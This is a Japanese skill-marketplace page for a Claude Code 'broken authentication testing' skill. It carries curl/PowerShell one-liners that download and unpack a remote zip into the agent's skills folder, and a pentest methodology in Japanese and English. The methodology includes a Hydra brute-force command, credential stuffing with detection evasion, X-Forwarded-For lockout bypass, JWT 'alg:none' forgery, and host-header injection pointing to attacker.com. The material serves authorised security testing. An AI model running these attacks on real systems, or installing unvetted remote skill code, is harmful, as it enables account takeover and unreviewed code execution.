broken-authentication-testing
This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o broken-authentication-testing.zip https://jpskill.com/download/20073.zip && unzip -o broken-authentication-testing.zip && rm broken-authentication-testing.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/20073.zip -OutFile "$d\broken-authentication-testing.zip"; Expand-Archive "$d\broken-authentication-testing.zip" -DestinationPath $d -Force; ri "$d\broken-authentication-testing.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
broken-authentication-testing.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
broken-authentication-testingフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-18
- 取得日時
- 2026-05-18
- 同梱ファイル
- 1
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
認証の不備のテスト
目的
Webアプリケーションにおける認証およびセッション管理の脆弱性を特定し、悪用します。認証の不備はOWASP Top 10に常にランクインしており、アカウントの乗っ取り、個人情報の盗難、機密システムへの不正アクセスにつながる可能性があります。このスキルでは、パスワードポリシー、セッション処理、多要素認証、および資格情報管理のテスト手法を扱います。
前提条件
必須知識
- HTTPプロトコルとセッションメカニズム
- 認証タイプ(SFA、2FA、MFA)
- Cookieとトークンの処理
- 一般的な認証フレームワーク
必須ツール
- Burp Suite ProfessionalまたはCommunity
- Hydraまたは類似のブルートフォースツール
- 資格情報テスト用のカスタムワードリスト
- ブラウザ開発者ツール
必須アクセス
- ターゲットアプリケーションのURL
- テストアカウントの資格情報
- テストのための書面による承認
成果物と納品物
- 認証評価レポート - 特定されたすべての脆弱性を文書化します
- 資格情報テスト結果 - ブルートフォースおよび辞書攻撃の結果
- セッションセキュリティ分析 - トークンのランダム性とタイムアウトの評価
- 改善推奨事項 - セキュリティ強化のガイダンス
コアワークフロー
フェーズ1:認証メカニズム分析
アプリケーションの認証アーキテクチャを理解します。
# 認証タイプの特定
- パスワードベース(フォーム、基本認証、ダイジェスト)
- トークンベース(JWT、OAuth、APIキー)
- 証明書ベース(相互TLS)
- 多要素(SMS、TOTP、ハードウェアトークン)
# 認証エンドポイントのマッピング
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*
認証リクエストをキャプチャして分析します。
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123
フェーズ2:パスワードポリシーのテスト
パスワードの要件と強制を評価します。
# 最小長をテスト(a, ab, abcdefgh)
# 複雑さをテスト(password, password1, Password1!)
# 一般的な弱いパスワードをテスト(123456, password, qwerty, admin)
# ユーザー名をパスワードとしてテスト(admin/admin, test/test)
ポリシーのギャップを文書化します:最小長が8未満、複雑さがない、一般的なパスワードが許可されている、ユーザー名がパスワードとして使用されている。
フェーズ3:資格情報の列挙
ユーザー名の列挙の脆弱性をテストします。
# 有効なユーザー名と無効なユーザー名に対する応答を比較
# 無効: "Invalid username" vs 有効: "Invalid password"
# タイミングの違い、応答コード、登録メッセージを確認
パスワードリセット
"Email sent if account exists" (安全) "No account with that email" (情報漏洩)
API応答
{"error": "user_not_found"} {"error": "invalid_password"}
### フェーズ4:ブルートフォーステスト
アカウントロックアウトとレート制限をテストします。
```bash
# フォームベース認証にHydraを使用
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Burp Intruderを使用
1. ログインリクエストをキャプチャ
2. Intruderに送信
3. パスワードフィールドにペイロード位置を設定
4. ワードリストをロード
5. 攻撃を開始
6. 応答の長さ/コードを分析
保護機能を確認します。
# アカウントロックアウト
- 何回試行後にロックアウトされるか?
- ロックアウトの期間は?
- ロックアウトの通知は?
# レート制限
- 1分あたりのリクエスト制限は?
- IPベースかアカウントベースか?
- ヘッダー(X-Forwarded-For)によるバイパスは可能か?
# CAPTCHA
- 失敗した試行後に表示されるか?
- 簡単にバイパスできるか?
フェーズ5:クレデンシャルスタッフィング
既知の漏洩した資格情報でテストします。
# クレデンシャルスタッフィングはブルートフォースとは異なります
# 漏洩した既知のメールアドレスとパスワードのペアを使用します
# Pitchfork攻撃でBurp Intruderを使用
1. ユーザー名とパスワードを位置として設定
2. メールリストをペイロード1としてロード
3. パスワードリストをペイロード2としてロード(一致するペア)
4. ログイン成功を分析
# 検出回避
- リクエストレートを遅くする
- 送信元IPをローテーションする
- ユーザーエージェントをランダム化する
- 試行間に遅延を追加する
フェーズ6:セッション管理テスト
セッションのトークンセキュリティを分析します。
# セッションCookieをキャプチャ
Cookie: SESSIONID=abc123def456
# トークンの特性をテスト
1. エントロピー - 十分にランダムか?
2. 長さ - 十分な長さ(128ビット以上)か?
3. 予測可能性 - 連続したパターンはないか?
4. セキュアフラグ - HttpOnly、Secure、SameSiteは設定されているか?
セッションのトークン分析:
#!/usr/bin/env python3
import requests
import hashlib
# 複数のセッショントークンを収集
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
# パターンを分析
# 連続した増分がないか確認
# エントロピーを計算
# タイムスタンプの構成要素を探す
フェーズ7:セッションフィクセーションテスト
認証後にセッションが再生成されるかテストします。
# ステップ1:ログイン前にセッションを取得
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
# ステップ2:同じセッションでログイン
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
# ステップ3:セッションが変更されたか確認
# SESSIONIDがabc123のままの場合、脆弱
# ログイン後に新しいセッションが割り当てられた場合、安全
攻撃シナリオ:
# 攻撃者のワークフロー:
1. 攻撃者がサイトにアクセスし、セッションを取得: SESSIONID=attacker_session
2. 攻撃者が固定されたセッションを含むリンクを被害者に送信:
https://target.com/login?SESSIONID=attacker_session
3. 被害者が攻撃者のセッションでログイン
4. 攻撃者が認証済みセッションを取得
フェーズ8:セッションタイムアウトテスト
セッションの有効期限ポリシーを確認します。
# アイドルタイムアウトをテスト
1. ログインし、セッションCookieを記録
2. アクティビティなしで待機(15分、30分、60分)
3. セッションを使用しようと試みる
4. セッションがまだ有効か確認
# 絶対タイムアウトをテスト
1. ログインし、セッションを継続的に使用
2. 設定された期間(8時間、24時間)後に強制ログアウトされるか確認
# ログアウト機能をテスト
1. ログインし、セッションを記録
2. ログアウトをクリック
3. 古いセッションCookieを再利用しようと試みる
4. セッションはサーバー側で無効化されているべきです 📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
Broken Authentication Testing
Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
Prerequisites
Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
- Common authentication frameworks
Required Tools
- Burp Suite Professional or Community
- Hydra or similar brute-force tools
- Custom wordlists for credential testing
- Browser developer tools
Required Access
- Target application URL
- Test account credentials
- Written authorization for testing
Outputs and Deliverables
- Authentication Assessment Report - Document all identified vulnerabilities
- Credential Testing Results - Brute-force and dictionary attack outcomes
- Session Security Analysis - Token randomness and timeout evaluation
- Remediation Recommendations - Security hardening guidance
Core Workflow
Phase 1: Authentication Mechanism Analysis
Understand the application's authentication architecture:
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*
Capture and analyze authentication requests:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123
Phase 2: Password Policy Testing
Evaluate password requirements and enforcement:
# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
Phase 3: Credential Enumeration
Test for username enumeration vulnerabilities:
# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages
Password reset
"Email sent if account exists" (secure) "No account with that email" (leaks info)
API responses
{"error": "user_not_found"} {"error": "invalid_password"}
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes
Check for protections:
# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?
# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?
# CAPTCHA
- After failed attempts?
- Easily bypassable?
Phase 5: Credential Stuffing
Test with known breached credentials:
# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches
# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins
# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts
Phase 6: Session Management Testing
Analyze session token security:
# Capture session cookie
Cookie: SESSIONID=abc123def456
# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?
Session token analysis:
#!/usr/bin/env python3
import requests
import hashlib
# Collect multiple session tokens
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components
Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login
Attack scenario:
# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session
Phase 8: Session Timeout Testing
Verify session expiration policies:
# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid
# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)
# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side
Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint
# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse
# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls
# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass
Test MFA enrollment:
# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?
# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?
Phase 10: Password Reset Testing
Analyze password reset security:
# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
- Length and randomness
- Expiration time
- Single-use enforcement
- Account binding
# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token
# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
# Reset email may contain attacker's domain
Quick Reference
Common Vulnerability Types
| Vulnerability | Risk | Test Method |
|---|---|---|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |
Credential Testing Payloads
# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user
# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123
# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists
Session Cookie Flags
| Flag | Purpose | Vulnerability if Missing |
|---|---|---|
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |
Rate Limiting Bypass Headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Constraints and Limitations
Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities
Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction
Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution
Examples
Example 1: Account Lockout Bypass
Scenario: Test if account lockout can be bypassed
# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"
# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1
# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked
# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts
Example 2: JWT Token Attack
Scenario: Exploit weak JWT implementation
# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}
# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Example 3: Password Reset Token Exploitation
Scenario: Test password reset functionality
# Step 1: Request reset for test account
POST /forgot-password
email=test@example.com
# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6
# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token
# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
# Check if admin's password can be reset with test user's token
Troubleshooting
| Issue | Solutions |
|---|---|
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |